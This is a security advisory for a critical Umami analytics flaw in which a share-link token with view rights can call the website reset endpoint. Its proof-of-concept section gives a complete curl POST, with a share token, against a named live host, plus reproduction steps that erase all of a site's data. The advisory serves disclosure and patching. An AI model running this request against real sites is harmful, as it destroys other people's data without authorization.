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GHSA-8www-cffh-4q98

CriticalCVSS 9.6 / 10
Published Jul 28, 2023·Last modified Jul 28, 2023
Affected Components(0)

No affected components available

Description

Summary

Anyone with a share link (permissions to view) can reset the website data.

Details

When a user navigates to a /share/ URL, he receives a share token which is used for authentication. This token is later verified by useAuth. After the token is verified, the user can call most of the GET APIs that allow fetching stats about a website.

The POST /reset endpoint is secured using canViewWebsite which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - permalink

PoC

curl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \
  -H 'authority: analytics.umami.is' \
  -H 'accept: application/json' \
  -H 'accept-language: en-US,en;q=0.9' \
  -H 'authorization: Bearer undefined' \
  -H 'cache-control: no-cache' \
  -H 'content-type: application/json' \
  -H 'pragma: no-cache' \
  -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \
  -H 'sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "Linux"' \
  -H 'sec-fetch-dest: empty' \
  -H 'sec-fetch-mode: cors' \
  -H 'sec-fetch-site: same-origin' \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \
  -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \
  --compressed

You can reproduce this by:

  • Accessing a website using it's share link
  • Copy the token received from the the received from the GET /share/{website-id}
  • Send a POST request to https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset with x-umami-share-token: header equal to the token copied in the previous step
  • The website data is now cleared

Impact

Everyone with an open share link exposed to the internet!

Risk Scores
Base Score
9.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.8

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Critical severity
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